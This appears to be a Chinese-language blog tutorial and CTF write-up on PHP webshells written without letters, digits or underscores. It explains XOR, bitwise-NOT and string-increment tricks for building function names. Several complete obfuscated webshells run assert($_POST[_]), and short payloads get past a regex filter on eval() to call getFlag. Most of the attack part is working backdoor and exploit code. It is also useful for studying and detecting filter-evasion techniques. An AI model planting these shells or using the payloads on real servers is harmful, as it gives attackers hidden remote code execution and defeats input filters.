1. 程式人生 > >PHP不包括字母,數字和下劃線的webshell

PHP不包括字母,數字和下劃線的webshell

文章目錄

前言

膜拜下phithon師傅
一些不包含數字和字母的webshell

另一位師傅
《記一次拿webshell踩過的坑(如何用PHP編寫一個不包含數字和字母的後門)》

信安之路的微笑
php 不用字母,數字和下劃線寫 shell

知識鋪墊

PHP中異或(^)概念

先上測試程式碼

<?php
    echo "A"^"?";
?>


程式碼對字元A?進行了異或操作.PHP中異或時會將字元轉化ASCII值在轉成二進位制,再進行異或.異或完反過來轉化成字元

  • A的ASCII值為65,二進位制則是01000001
  • ?的ASCII轉值為65,二進位制是00111111

異或二進位制結果結果為10000000,對應的字元就是~.
非數字字母的PHP後門:

<?php
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P 
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
//.=是字元的連線
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //上面程式碼為一句
?>

PHP取反(~)概念

利用的是UTF-8編碼的某個漢字,並將其中某個字元取出來,
比如:的utf-8編碼為\xe5\x92\x8c,第三個位元組和{2}的值為\x8c,其取反值為-141,負數用十六進位制表示,通常用的是補碼的方式表示。負數的補碼是它本身的值每位求反,最後再加一。141 的 16 進製為 0xff73,php 中 chr(0xff73)==115115 就是 s 的 ASCII 值。因此

<?php
highlight_file(__FILE__);
$_="和";
echo (~($_{2}));
echo (~"\x8c"); //等同與上一句

?>

不用數字構造數字

  1. 利用PHP弱型別特效,true的值為1,則true+true=2
$_=('>'>'<')+('>'>'<')
print($_)

  1. 利用PHP未定義變數預設值為null,null=false=0,所以利用自增操作得到數字
<?php
$_++;
print($_);
?>

用字串自增,獲取字元

php文件
在處理字元變數的算數運算時,PHP 沿襲了 Perl 的習慣,而非 C 的。例如,在 Perl 中 $a = ‘Z’; $a++; 將把 $a 變成’AA’,而在 C 中,a = ‘Z’; a++; 將把 a 變成 ‘[’(‘Z’ 的 ASCII 值是 90,’[’ 的 ASCII 值是 91)。注意字元變數只能遞增,不能遞減,並且只支援純字母(a-z 和 A-Z)。遞增/遞減其他字元變數則無效,原字串沒有變化。

也就是說,'a'++ => 'b''b'++ => 'c'… 所以,我們只要拿到一個變數值為a,通過自增操作即可獲得a-z中所有字元。

在PHP中如果強制連線陣列和字串的話,陣列將被轉換成字串,其值為Array,再取這個字串的第一個字母,就可以獲得A了。

$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A

webshell

php5和7的差異。

  • php5中assert是一個函式,我們可以通過 f = a s s e r t ; f=&#x27;assert&#x27;; f(…);這樣的方法來動態執行任意程式碼。
  • php7中,assert不再是函式,變成了一個語言結構(類似eval),不能再作為函式名動態執行程式碼,所以利用起來稍微複雜一點。但也無需過於擔心,比如我們利用file_put_contents函式,同樣可以用來getshell。

不用數字和字母的 shell

**核心思路:**將非字母、數字的字元經過各種變換,最後能構造出a-z中任意一個字元。然後再利用PHP允許動態函式執行的特點,拼接處一個函式名,如assert,然後動態執行之即可。

非字母、數字的字元異或出字母

不可列印字元,用 url 編碼表示

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

可用更短的字元

"`{{{"^"?<>/"//_GET

非字母、數字的字元取反出字母

<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST

$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])

簡短寫法,相當於直接把 utf8 編碼的某個位元組提取出來統一進行取反。

${~"\xa0\xb8\xba\xab"} //$_GET

php 遞增/遞減運算子

因為 PHP 函式是大小寫不敏感的,最終執行的是 ASSERT($POST[]),無需獲取小寫 a。

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

例項

<?php

include'flag.php';

if(isset($_GET['code'])){
   $code=$_GET['code'];
   if(strlen($code)>50){
       die("Too Long.");
  }
   if(preg_match("/[A-Za-z0-9_]+/",$code)){
       die("Not Allowed.");
  }
   @eval($code);
}else{
   highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?> 

payload

來自紅日安全

code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

分解:
$_="{{{"^"?<>/";=$_="GET";
${$_}[_](${$_}[__]);=$_GET[_]($_GET[__]);=getFlag($_GET[__])=getFlag(null);
這個 payload 的長度是 37 ,符合題目要求的 小於等於40 。另fuzz 出了長度為 28 的 payload ,如下:

$_="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$_();


fuzz指令碼

<?php
$a = str_split('getFlag');
for($i = 0; $i < 256; $i++){
    $ch = '{'^ chr($i);
    if (in_array($ch, $a , true)) {
        echo "{ ^ chr(".$i.") = $ch<br>";
    }
}
echo "{{{{{{{"^chr(28).chr(30).chr(15).chr(61).chr(23).chr(26).chr(28);
?>

不包括數字,字母和下劃線的shell

例項

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(strlen($code)>50){
        die("Too Long.");
    }
    if(preg_match("/[A-Za-z0-9_]+/",$code)){
        die("Not Allowed.");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";
?>

payload

只是多過濾了個下劃線_
中文做變數名

$哼="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$哼();

+做變數名

${"`{{{"^"?<>/"}['+']();&+=getFlag